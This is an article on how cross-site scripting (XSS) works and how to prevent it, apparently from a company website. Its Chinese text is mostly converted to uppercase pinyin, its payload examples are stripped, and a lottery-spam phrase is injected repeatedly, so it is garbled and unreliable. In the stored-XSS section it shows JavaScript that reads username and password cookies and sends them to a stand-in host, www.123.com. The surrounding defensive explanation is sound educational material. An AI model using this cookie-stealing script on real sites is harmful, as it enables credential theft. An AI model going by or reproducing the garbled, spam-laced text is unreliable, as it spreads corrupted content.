幸运飞艇7码技巧

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幸运飞艇7码技巧CUXIAOHUODONG、JISHUGANHUO、WENTIJIEDA、JISHUTAOLUN,XUEXI,CHENGZHANG,FENXIANG,GONGJIAN

跨网站脚本攻击(XSS)的原理与防范对策

2019-04-08 10:40:52 点击:2077

KUAWANGZHANJIAOBENGONGJI(XSS)DEYUANLIYUFANGFANDUICE

ZHAIYAO:SUIZHEJISUANJIWANGLUOJISHUDEXUNSUFAZHAN,WANGLUOANQUANWENTIYIBIANDEYUELAIYUESHOUDAORENMENDEZHONGSHI,WANGLUOGONGJIXINGSHIDUOZHONGDUOYANG,HENDUORUCHONGBINGDU、MUMABINGDUDENGZHIRUDAOMOUXIEWANGYEZHONG,JIWANGLUOYONGHUDAILAILEHENDADEANQUANYINHUAN。QIZHONGXSSKUAWANGZHANJIAOBENGONGJI,EYIGONGJIZHEWANGWebYEMIANLICHARUEYIhtmlDAIMA,DANGYONGHULIULANGAIYEZHISHI,QIANRUQIZHONGWebLIMIANDEhtmlDAIMAHUIBEIZHIXING,CONGERDADAOEYIGONGJIYONGHUDETESHUMUDE。BENWENZHUYAOCHANSHULEXSSDEJILIHETEDIAN,ZHONGDIANFENXILEWANGYEDAIMADEJIANCEYIJIMUMADETEZHENG,BINGZHENDUIZHEIXIETEDIANJINXINGLEYIXIEXIANGYINGFANGFANDUICEDETANTAO。

GUANJIANCI:WANGYEMUMA; XSS; GONGJI; FANGFAN

YI、QIANYAN

WANGYEMUMASHIYIZHONGXINXINGDEEYIDAIMA,YIXIEGONGJIZHEJIANGTARENWEIDEZHIRUDAOFUWUQIDUANDEHTMLYEMIANZHONG,TONGGUOKEHUDUANDUIFUWUQIDEFANGWENLAICHUANBOEYIGONGJIDAIMA,TAZHUYAOSHITONGGUOLIULANQIYIJIQIZHONGDEYIXIECHAJIANLOUDONGLAIJINXINGZHIRU,WANGYEMUMASHIYIZHONGKEHUDUANDEGONGJIFANGSHI,TANENGYOUXIAODERAOGUOFANGHUOQIANGDEJIANCE,YINMIDEZAIKEHUDUANJIANGEYIDAIMAZHIRU,KEHUDUANZAIBUZHIQINGDEQINGKUANGXIAJIANGZHEIXIEEYIKEZHIXINGCHENGXUJINXINGXIAZAIHEZHIXING。JIHULIANWANGYONGHUZAOCHENGYANZHONGDEANQUANWEIXIE。

ZAIWeb 2.0CHUXIANYIHOU,XSSDEWEIHAIXINGDADAOLESHIFENYANZHONGDEDIBU。KUAZHANJIAOBENYINGWENMINGCHENGSHI(Cross Site Script),WEILEYUCENGDIEYANGSHIBIAO(Cascading Style SheetsJIANCHENGCSS)QUFEN,GUMINGMINGWEIXSS。 XSSGONGJISHIZHIRUQINZHEZAIYUANCHENGWEBYEMIANDEHTMLDAIMAZHONGCHARUJUYOUEYIMUDEDESHUJU,YONGHURENWEIGAIYEMIANSHIKEXINLAIDE,DANSHIDANGLIULANQIXIAZAIGAIYEMIANSHI,QIANRUQIZHONGDEJIAOBENJIANGBEIJIESHIZHIXING。XSSJUYOUZISHENDEDUYOUTEDIAN,MUQIANGUONEIWAIHENDUOYANJIURENYUANWEIRAOXSSDEFANGYUJINXINGLESHENRUDETANTAOYUYANJIU,TONGSHIGONGJIZHEYEZAICAIYONGYIXIEGENGXIANJINDESHOUDUANLAITIGAOMUMADEGONGJIYINBIXING,YONGYITIGAOMUMADEGONGJICHENGGONGLV,YINCI,XSSDEJILIYUFANGFANDUICEYANJIUYICHENGWEILEDANGQIANJISUANJIGONGZUOZHEDEYIGEZHONGYAOKETI。

ER、XSSDEJILIYUTEZHENG

1.XSSDECHENGYIN

KUAWANGZHANJIAOBENXSSLOUDONGDECHENGYINQISHIJIUSHIHtmlDEZHURUWENTI,GONGJIZHEDESHURUMEIYOUJINGGUOYANGEDEKONGZHIJINRULESHUJUKU,ZUIZHONGXIANSHIJILAIFANGDEYONGHU,DAOZHIKEYIZAILAIFANGYONGHUDELIULANQILIYILIULANYONGHUDESHENFENZHIXINGHtmlDAIMA,SHUJULIUCHENGRUXIA:GONGJIZHEDEHtmlSHURU—>webCHENGXU—>JINRUSHUJUKU—>webCHENGXU—>YONGHULIULANQI。MUQIAN,SUOYOUDEWANGZHANSHANGJIHUDOUTIGONGYIGEZHANNEIHUOZHANWAIXINXISOUSUOKUANG。ZAICISOUSUOKUANGZHONG,NINKEYISOUSUODAOWANGZHANSHANGRENHEKEYONGDEDONGXI。ZHEIGESOUSUOBIAODANKANQILAIZHEIYANG:

图片1.png

     TU1-1

图片2.png 

TU1-2

 

NEIBUDAIMA:

               

               

               

幸运飞艇7码技巧ZAIaspWANGYESHANGXIANSHIDESOUSUOJIEGUO,TONGSHITAYELIECHULEZAI“GUANJIANZI”DESOUSUOJIEGUO。webYEMIANSHANG,BUGUANYONGHUSOUSUOSHENMENEIRONG,TAJIANGXIANSHISOUSUOJIEGUOZAIWANGYESHANG。XIANZAIRUGUOYIGEGONGJIZHECHANGSHIZHURUEYIJIAOBEN,BIRUZAISOUSUOKUANGZHONGSHURURUXIAHtmlDAIMA:“

”ZEDAIMAHUIBIANCHENG<input type="text" name="q" value="" 

幸运飞艇7码技巧  />,QIANRUDEJavaScriptDAIMAJIANGHUIBEILIULANQIZHIXING,JIANGXIANSHIYIGEJINGGAOKUANG,TISHI“XSSKUAZHANJIAOBENGONGJI”。ERBUNENGWANCHENGYONGHUSOUSUOGONGNENG。(SHANGSHULIANGGEWANGZHANYIJINGZUOXSSGUOLV,BUNENGKANJIANJINGGAOKUANG)

XIAMIANSHIYIGEGUANYUYONGHUZHUCEYEMIANDELIZI,DANGRANZHEIGESHILIHENJIANDAN,JIHUGONGJIBUDAORENHEWANGZHAN,JINJINKANKANQIYUANLI。WOMENZHIDAOHENDUOWANGZHANDOUTIGONGYONGHUZHUCEGONGNENG,WANGZHANHOUTAISHUJUKUCUNCHUYONGHUMING、MIMA,FANGBIANYONGHUXIACIDENGLU,YOUXIEWANGZHANSHIZHIJIEYONGMINGWENJILUYONGHUMING、MIMA,EYIYONGHUZHUCEZHANGHUDENGLUHOUSHIYONGJIANDANGONGJUCHAKANcookieJIEGOUMINGCHENGHOU,RUGUOWANGZHANYOUXSSLOUDONG,NEIMEJIANDANDEJIUKEYIHUOQUQITAYONGHUDEYONGHUMING、MIMALE。

图片3.png     

TU2-1

RUTU2-1SUOSHIDEYONGHUZHUCEYEMIAN。YUNXUYONGHUTIANRUZHUCEXINXI,RANHOUCUNCHUDAOHOUTAISHUJUKUZHONG。YINWEIWOMENWANQUANXINRENLEYONGHUSHURU,YONGHUZHUCEXINXIDOUNENGZHENGQUEDEJINRUSHUJUKU。DANYOUXIEEYIDEYONGHUHUILIYONGZHEIGELOUDONGSHURUHTMLHEJSDAIMA,LIRU

ZHEIDUANDAIMAZHIJIESHURUDAO“YONGHUMING”LANZHONG,QIEQUYONGHUXINXI。

幸运飞艇7码技巧ZAIhttp://www.123.com/h.jsZHONG:

var username=CookieHelper.getCookie('username').value;

var password=CookieHelper.getCookie('password').value;

幸运飞艇7码技巧var script =document.createElement('script');

script.src='http://www.123.com/index.asp?username='+username+'&password='+password;

document.body.appendChild(script);

幸运飞艇7码技巧ZHEIYANGJIUQINGSONGDEHUOQULEcookieZHONGDEYONGHUMINGHEMIMA。

幸运飞艇7码技巧2.KUAWANGZHANJIAOBENGONGJIDELEIXING

幸运飞艇7码技巧2.1FEICHIJIUXINGKUAWANGZHANJIAOBENGONGJI,FEICHIJIUXING XSS YECHENGWEISHIFANSHEKUAWANGZHANLOUDONG。TASHIZUICHANGJIANDE XSS LEIXING。ZAIZHEI,ZHURUSHUJUFANSHEJIGONGJIZHE。SHANGMIANDELI1,SHIFEICHIXUDEGONGJI。DIANXINGDEFEICHIJIUXING XSS BAOHANYU XSS DELIANJIE。

幸运飞艇7码技巧    2.2CHIJIUXINGKUAWANGZHANJIAOBENGONGJI(CUNCHUXING),CHIJIUXINGKUAWANGZHANJIAOBENSHICUNCHUKUAZHANDIANJIAOBEN。DANGTAFASHENGSHI XSS BIANLIANGCUNCHUZAIWANGZHANDESHUJUKU,MEIDANGYONGHUDAKAIWANGYESHIZHIXING。MEICIYONGHUDAKAILIULANQI,JIAOBENZHIXING。CHIJIUXING XSS BIFEICHIJIUXING XSSGENGYOUHAI,YINWEIMEIDANGYONGHUDAKAIYAOCHAKANDENEIRONGDEWANGYESHI,JIANGZIDONGZHIXINGGAIJIAOBEN。SHANGMIANLI2JIUSHICHIJIUXINGKUAWANGZHANJIAOBENGONGJI。

   2.3JIYUDOMDEKUAZHANJIAOBENGONGJI,JIYU DOM DE XSS YOUSHIYECHENGWEI“type-0 XSS”。TAFASHENGSHI, XSS BIANLIANGZHIXINGYOU DOM XIUGAIYONGHUDELIULANQIWANGYEDEJIEGUO。ZAIKEHUDUANDE HTTP XIANGYINGBUHUIGENGGAI,DANYIEYIDEFANGSHIZHIXINGDEJIAOBEN。

SAN、XSSFANGFANDUICE

幸运飞艇7码技巧XSSGONGJIDEMOSHIHENJIANDAN,JIUSHIBAZIJIDEDAIMAQIANRUDAOYEMIANLI,SUIYEMIANYIKUAIZHIXING;XSSGONGJIDEFANGFANYEYIYANGJIANDAN,DUIYUWANGZHANDEKAIFAZHE,SHOUXIANYINGGAIBAJINGLIFANGDAODUISUOYOUYONGHUTIJIAONEIRONGJINXINGKEKAODESHURUYANZHENGSHANG。ZHEIXIETIJIAONEIRONGBAOKUOHTML、URL、CHAXUNGUANJIANZI、httpTOU、post、getSHUJUDENG。ZHIJIESHOUZAINISUOGUIDINGZHANGDUFANWEINEI、CAIYONGSHIDANGGESHI、NISUOXIWANGDEZIFU。ZUSAI、GUOLVHUOZHEHULVEQITADERENHEDONGXI。ZHENDUICHUXIANZAIBUTONGWEIZHIDEYONGHUSHURUNEIRONG,QICHULICELVEYOUSUOBUTONG。

1、html

幸运飞艇7码技巧ZHIXUYAOCHULIDIAO< > JIKE,ZHIYAOMEIYOUhtmlBIAOQIAN,YEMIANJIUSHIANQUANDE。KEYISHIYONGaspNEIZHIFANGFAReplace (str,“<”,“<”) replace="">”,“>”) LAICHULIDAISHUCHUDENEIRONG,JIANG<,>, ZHUANYI。

2、JS

幸运飞艇7码技巧JIANGYAOSHUCHUDAOjsDAIMAPIANDUANZHONGDEYONGHUSHURUNEIRONGMEIYOUHAODEBANFAJINXINGCHULI;JINZHUANYISHAOSHUZIFUBUNENGBAOZHENGQUDIAOSUOYOUDEGONGJIKENENG。YINCI,YIBANJIANYIBUYAOBAYONGHUCHANSHENGDENEIRONGZHIJIESHUCHUDAOjsPIANDUANZHONG。

幸运飞艇7码技巧RUGUOTIAOJIANSUOXIAN,BIXUJIANGNEIRONGZHIJIESHUCHU,YOURUXIAFANGFAKEGONGXUANZE:

1) RUGUODAISHUCHUDENEIRONGYOUTEDINGDEQUZHIFANHUIHUOZHETEDINGDEGESHI,KEYISHIYONGBAIMINGDANHUOZHEZHENGZEBIAODASHIJINXINGCHULI。

2) KEYIJIANGNEIRONGSHUCHUDAOhtmlDEYINZANGBIAOQIANHUOYINZANGBIAODANZHONG,jsTONGGUOHUOQUBIAOQIANDENEIRONGDEDAOGAINEIRONG。

3、JIANCHA

NEIME,DUIYIYOUDEYEMIAN,GAIRUHEJIANCHANI?ZHEIGEWENTIDEHUIDASHI,MUQIANMEIYOUHENHAODEBANFANENGWANQUANJIANCHACHUFUWUQIZHONGKENENGCUNZAIXSSGONGJIDEYEMIAN;YOUYIXIEBANFAKEYIJIANCHACHUBIJIAOMINGXIANDESHULOU,QIJIBENSILURUXIA:

幸运飞艇7码技巧1)CONGapacheDEaccess_logZHONGQUCHUSUOYOUuniqueDEQINGQIU,YICIXIUGAIQIMOUYIGECANSHUWEI “

”,FAQIQINGQIU。

幸运飞艇7码技巧2)HUOQUFANHUIDENEIRONG,RUGUONEIRONGZHONGYOUYUANYANGDEGAIZIFUCHUAN,BIAOMINGCIKEYISHURUMEIYOUJINGGUOCHULIBIANSHUCHUDAOYEMIANSHANG,YEMIANCUNZAIYINHUAN,XUYAOCHULI。

幸运飞艇7码技巧TONGGUOZHEIZHONGBANFA,KEYIJIANCHACHUJUEDADUOSHUNENGTONGGUOgetQINGQIUFAQIDEXSSGONGJI。NEIXIEZAIaccess_logMEIYOUCHUXIANDEQINGQIUCANSHU,ZHEILIMEIYOUJIANCHADAO,KENENGYOUSUOYILOU,JIUXUYAOSHOUDONGQUZHENGLI,CESHI。TONGGUOPostFAQIDEQINGQIUXUYAOYONGLINGWAIYIZHONGCELVEJINXINGJIANCHA。QISILURUXIA:JIANGWANGZHANSHANGSUOYOUKEYISHURUDEBIAODAN,YICISHURUTEZHENGZIFUCHUAN,BIRUSHUO< ' ” >,RUGUOTIJIAOHOUCHANSHENGDEYEMIANZHONGHANYOUWEICHULIDECIZIFUCHUAN,SHUOMINGCUNZAIYINHUAN。

幸运飞艇7码技巧TONGGUOYISHANGFENXIWOMENKANDAO,XSSSHIYIZHONGWEIHAIJIAODA、JIAONANFANGFAN,BINGQIEGENGJIAYINBIDEGONGJIFANGSHI。QISHIZHIYAOMINGBAIQIYUANLI,ZAIJIASHANGQINJIASIKAOFANGFANDEDUICE,JIUKEYIGENZHIXSSLOUDONG。



  • 7x24

    ZAIXIANSHOUHOUZHICHI

  • 10

    +

    10NIANHULIANWANGFUWUJINGYAN

  • 300

    +

    QUANGUO300YUJIAFUWUJIGOU

  • 5000

    +

    5000DUORENYIDUIYIFUWU

  • 70000

    +

    YU70000YUJIAQIYEKEHUXIESHOU

服务热线

400-007-8608

幸运飞艇7码技巧GONGSI: SUZHOUXIANGYUNPINGTAIXINXIJISHUYOUXIANGONGSI

幸运飞艇7码技巧DIZHI:JIANGSUSHENGKUNSHANSHIKUNTAILU530HAOXIANGHEGUOJIDASHA15-16CENG

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